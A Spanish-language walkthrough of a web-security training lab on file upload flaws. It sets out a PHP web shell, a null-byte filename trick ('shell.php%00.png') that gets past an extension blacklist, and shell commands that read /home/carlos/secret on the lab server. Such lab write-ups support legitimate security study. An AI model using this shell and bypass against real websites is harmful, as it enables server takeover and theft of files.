File Upload Vulnerabilities Lab 5
Skills
- Web shell upload via obfuscated file extension
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una función
de carga de imágenes vulnerable
, ciertas extensiones
de archivo
están blacklisteadas
, pero esta defensa puede ser eludida
usando una clásica técnica
de ofuscación
. Para resolver el laboratorio, debemos subir una web shell básica en PHP
, utilizarla para extraer
el contenido
del archivo /home/carlos/secret
y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión
con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
e iniciamos sesión
con las credenciales wiener:peter
Vemos que existe un campo
de subida
de archivos
Si inspeccionamos
con donde
se aloja
la imagen
vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php
y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al subir el archivo nos sale un error
Subimos el archivo nuevamente y capturamos la petición con Burpsuite, el payload va a ser shell.php%00.png
, las versiones de php inferiores a la 5.4 son vulnerables a null byte injection %00
, lo que hace que ignore lo que hay detrás de él y no se interprete
1
2
3
4
5
6
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.png"
Content-Type: application/x-php
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Vemos que el archivo php se ha subido correctamente y que seha subido con el nombre shell.php ignorando lo que hay detrás del null byte %00
Abrimos nuevamente el inspector
de chrome
y vemos que el archivo subido se aloja en /files/avatars
Si accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php%00.png?cmd=whoami
vemos que nos da un error
Sin embargo, sin accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=whoami
vemos que nos ejecuta el comando
Listamos
el contenido
de la home
de carlos https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos
Obtenemos el contenido del archivo secret https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Submiteamos
la solución